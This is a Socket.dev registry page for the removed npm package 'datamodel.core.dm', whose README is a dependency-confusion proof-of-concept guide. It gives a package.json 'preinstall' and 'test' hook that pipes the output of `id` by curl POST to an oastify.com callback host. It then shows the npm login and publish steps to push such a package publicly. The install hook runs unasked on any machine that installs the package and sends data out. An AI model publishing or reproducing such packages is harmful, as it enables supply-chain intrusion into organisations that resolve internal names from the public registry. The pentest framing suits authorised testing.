New Case Study:See how Anthropic automated 95% of dependency reviews with Socket.Learn More
Socket
Sign inDemoInstall
Socket

datamodel.core.dm

Package Overview
Dependencies
Maintainers
1
Versions
2
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install
Package was removed
Sorry, it seems this package was removed from the registry

datamodel.core.dm

PoC for the package called 'datamodel.core.dm'

2.0.0
unpublished
latest
npm
Version published
Weekly downloads
0
Maintainers
1
Weekly downloads
 
Created
Source

NPM Dependency Confusion PoC

Creation of a package called 'yourpackage'.

Insert the payload you want to run in package.json

"scripts": {
    "test": "id | curl -X POST -d @- https://xxx.oastify.com/poc", 
    "preinstall": "id | curl -X POST -d @- https://xxx.oastify.com/poc"
},

Login on NPM

» npm login
npm notice Log in on https://registry.npmjs.org/
Username: username
Password: 
Email: (this IS public) foo.bar@foobar.com
npm notice Please use the one-time password (OTP) from your authenticator application
Enter one-time password: XXXXXX
Logged in as username on https://registry.npmjs.org/

Publish package

» npm publish --access public
npm notice 
...
npm notice Publishing to https://registry.npmjs.org/
This operation requires a one-time password.
Enter OTP: XXXXXX
+ yourpackage@1.0.0

Keywords

pentest

FAQs

Package last updated on 05 Mar 2024

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts